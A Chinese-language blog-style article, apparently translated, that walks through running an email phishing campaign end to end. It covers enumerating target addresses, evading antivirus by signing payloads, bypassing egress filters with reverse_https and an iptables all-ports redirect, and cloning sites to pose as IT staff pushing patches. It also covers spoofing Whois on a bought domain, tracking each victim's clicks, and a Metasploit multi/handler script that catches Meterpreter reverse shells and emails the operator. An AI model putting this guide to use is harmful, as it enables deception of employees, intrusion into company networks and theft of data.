經常有人問我如何進行釣魚。email釣魚是種很吸引人的攻擊。成功實施一次email釣魚需要有非常系統的方法。其中,前期準備階段占用了整個攻擊的大部分時間。
一個安全的郵件收發系統建立在多層次的架構之上,因此我們的釣魚郵件有可能會被不同層次的安全層過濾掉。其中包括Email網關垃圾郵件過濾器、Outlook的“Junk Email”過濾器、殺毒軟件、PS(入侵防御系統)、Web代理服務器、外出過濾等等。
現在我們已經了解了一些郵件系統安全層面常見的過濾, 下面我們討論一下如何繞過他們。這些方法是從Brav0Hax和purehate對釣魚攻擊的討論中總結而來。詳情可以點擊這里。
枚舉email地址
我們首先要做的就是要找到一些email地址以作為攻擊的目標。可以借助Jigsaw這個ruby腳本來快速的列舉email地址目標。現在它已經支持數據庫了,能夠將結果輸出為CSV文件。最新版本的Jigsaw地址為https://github.com/pentestgeek/jigsaw。
在jigsaw.com注冊一個免費帳號,然后在命令行中輸入你的用戶名密碼會使Jigsaw更好的運行。
01$ ./jigsaw.rb -i 215043 -r google -d google.com -u username -p password
02Found 1047 records in the Sales department.
03Found 666 records in the Marketing department.
04Found 870 records in the Finance & Administration department.
05Found 249 records in the Human Resources department.
06Found 150 records in the Support department.
07Found 1282 records in the Engineering & Research department.
08Found 354 records in the Operations department.
09Found 1171 records in the IT & IS department.
10Found 300 records in the Other department.
11Generating the final google.csv report
12Wrote 6079 records to google.csv
email枚舉的另一個較好的工具就是theHarvester。theHarvester是BT5中的一個python腳本,位于/pentest/enumeration/theharvester。該腳本能夠利用不同的搜索引擎來找出一些email地址。
1$ ./theHarvester.py -d google.com -l 1000 -b google
2[snip]
3[+] Emails found:
4——————
7[snip]
繞過殺毒軟件
因為已經有很多人已經討論過如何繞過殺毒軟件,所以我們不會花費過多精力來介紹它。想了解更多可以查看metasploit的evading antivirus 。
所謂知彼知己,百戰不殆。如果你了解你所要對付的殺毒軟件,那么肯定可以更好的進行釣魚。我們可以通過DNS緩存窺探來獲知目標主機上運行的是什么殺毒軟件,這已有很多文章介紹過了。
發送釣魚郵件之前先在虛擬機上裝個殺毒軟件來看看是否會過濾我們的郵件。理想情況下我們需要安裝與目標主機一個版本的殺毒軟件,但是這不太可能。所以至少要安裝Microsoft Security Essentials, AVG, Comodo等等。如果你的郵件連這些殺毒軟件都不能通過,那你怎么能希望它會通過目標主機殺毒軟件的檢測呢。所以多花點時間測試一下是必要的。
文件加過殼會被殺毒軟件重點監控,但是文件保護會被多數殺毒掃描引擎忽略。如果你想保證你的payload能起到作用,可以購買一個證書,然后用SDK中的signtool.exe給你的軟件加上簽名,這樣會使得你的程序更加可信。
外出過濾
我們有兩種方式來繞過外出過濾:reverse_https或者reverse_tcp_all_ports。
不了解reverse_tcp_all_ports?它實際上是一個實現反向TCP管理并監控“所有端口”的模塊。事實上它只監聽一個端口,我們需要把所有端口重定向到它監控的端口。這就需要用到iptables或者其他的軟件來實現。
使用iptables舉例,該命令將所有端口重定向到443端口(該端口上有multi/handler監聽處理)。技巧之一就是把SSH監聽的端口設為一個比65535大的值。
iptables -t nat -A PREROUTING -p tcp –dport 1:65534 -j REDIRECT –to-ports 443
reverse_https是另外一個payload,因為其通過metasploit建立一個加密隧道,所以IPS就很難知道傳輸的是什么內容了,從而無法監控惡意流量。它不僅能夠壓縮payload,而且能夠自動使用IE設置的代理。總之,rev_https更像https,除非有能監控SSL的網關,否則就難以檢測到惡意流量。
使用reverse_https時,我們可以設置LHOST=X.X.X.X , LPORT=443。因為多數公司不會限制https(443端口),所以多數情況下(除非有深層的包內容檢測)reverse_https就能正常工作了。
黑客釣魚方案
在整個釣魚過程中,這步應該最簡單了。經驗告訴我們無論怎樣,總會有些2B青年喜歡點各種鏈接,嘿嘿,你懂的啦。
我最喜歡的方式就是偽裝成某些IT公司的員工告訴別人要安裝新的補丁,每個人都要安裝更新,然后通過超鏈接把用戶引至界面如下的網站。
個人而言,我喜歡使用社會工程學工具箱SET來快速克隆一個要偽造的網站。克隆之后可以在set/src/program_junk中找到這些HTML文件。
Web代理服務器
許多公司運行代理服務器來防止員工訪問一些特定網站,這其中還有的帶有殺毒功能用來檢測web訪問中的惡意流量,還有可能阻止員工下載可執行文件。
你也許會想怎么才能把我們的payload從釣魚站點發送至無法下載可執行文件的用戶那里。這時你需要花費些精力,可以給網站買個SSL證書。這樣當用戶訪問你的網站的時候,兩者之間就建立了SSL隧道連接。因為隧道是加密的,所以web代理服務器無法得知并阻止用戶下載可執行文件了。
發送郵件
談到發送郵件,有很多方式。首先要考慮的是發送欺騙郵件還是買個域名。本文重點討論購買域名來發送郵件。
我是在GoDaddy上買的域名,因為買域名會帶個免費的郵件地址,而這個郵件地址是非常適合用來釣魚。其他服務商可能也會提供這種服務,但是我對GoDaddy很熟悉,所以就買了他們的域名。
在GoDaddy買域名之后登錄,選擇“email”旁邊的 [+],點擊綠色的launch按鈕,之后打開email控制面板。
然后選擇 ‘create’按鈕來創建email賬戶
通過像GoDaddy這樣的服務商創建的email賬戶最大的優點就是會自動設置MX記錄,這樣就不需要你設置DNS來讓郵件顯得更正規。
之所以提到這個是因為很多Email網關會反向查詢郵件來源的域名。如果該域名沒有設置MX,許多網關就會丟棄該郵件。
有些SMTP服務器有Whois功能,來判斷郵件內容和郵箱對應域名提供的業務是否相匹配。我們可以登錄GoDaddy,然后編輯Whois信息來偽裝。如果想偽裝成example.com,就需要編輯Whois信息使其看起來符合example.com的特征。
GoDaddy’s 修改whois信息的界面
現在我們已經有了郵箱賬戶,接下來就要通過郵件客戶端(如:Thunderbird)來收發郵件。用客戶端發送郵件是挺好,但是我們還有更好的方式,那就是通過腳本來發送郵件。我寫了一個ruby腳本sendmail.rb能夠群發郵件。
經常有人問我是否能夠追蹤每個訪問釣魚網站的用戶的信息。追蹤執行payload或者輸入信息的用戶容易,但是追蹤所有的用戶就難了。
sendmail.rb能夠追蹤每個用戶的點擊,當然前提是郵件是通過它發送的。該腳本發送郵件之前會在釣魚鏈接后加上經過base64編碼的郵件地址。比如,如果釣魚鏈接是http://www.myhack58.com,sendmail.rb就會修改該地址為:
http://example.com/index.php?dXNlckBleGFtcGxlLmNvbQ==
一旦用戶點擊就會記錄在Apache的access_logs中,顯示有個index.php?dXNlckBleGFtcGxlLmNvbQ==請求,我們通過解碼我們就知道哪個用戶進入了該網站。我們可以編寫腳本從access_logs中提取這些信息。
下面是用sendmail.rb 發送郵件給兩個用戶:
如果對sendmail.rb的實現方式感興趣,可以留言評論告訴我,我會另寫一篇文章來介紹下。
Metasploit Multi/Handler
通過Metasploit設置 multi/handler沒有什么高深之處,不過我會介紹一下常用的設置。首先要創建一個資源腳本以防multi/handler死掉。
下面是我在啟動一個reverse_https multi/handler之前設置的資源腳本
1use multi/handler
2set payload windows/meterpreter/reverse_https
3set lhost X.X.X.X
4set lport 443
5set ExitOnSession false
6set AutoScript /opt/metasploit/msf3/scripts/meterpreter/scraper-mod.rb
7exploit -j -z
我希望包含在multi/handler中的另外payload是修改后的Meterpreter腳本scraper.rb。該腳本默認情況下會列舉系統信息,hash值,和其他有用的信息。個人而言我不喜歡獲取hash值,這有可能導致殺毒軟件殺死該會話。 所以我修改了scraper.rb讓它僅僅使用ipconfig, net group “Administrators”和一些其他不會引起殺毒軟件注意的命令。另外,還增加了每建立一個會話就給我發郵件的功能。
下面是用ruby實現的發送郵件的代碼:
01def sendemail(username, password, from, message, email, port, smtpout, smtp)
02# code to send email
03begin
04Net::SMTP.start("#{smtpout}", "#{port}", "#{smtp}","#{username}", "#{password}", :plain) do |smtp|
05smtp.send_message message, "#{from}", email.chomp
06end
07print_good("tSent to: #{email}")
08rescue
09print_bad("tIssues Sending to: #{email}")
10end
總結:
我們已經介紹了如何繞過各種安全層的過濾來進行釣魚攻擊。希望對你有用。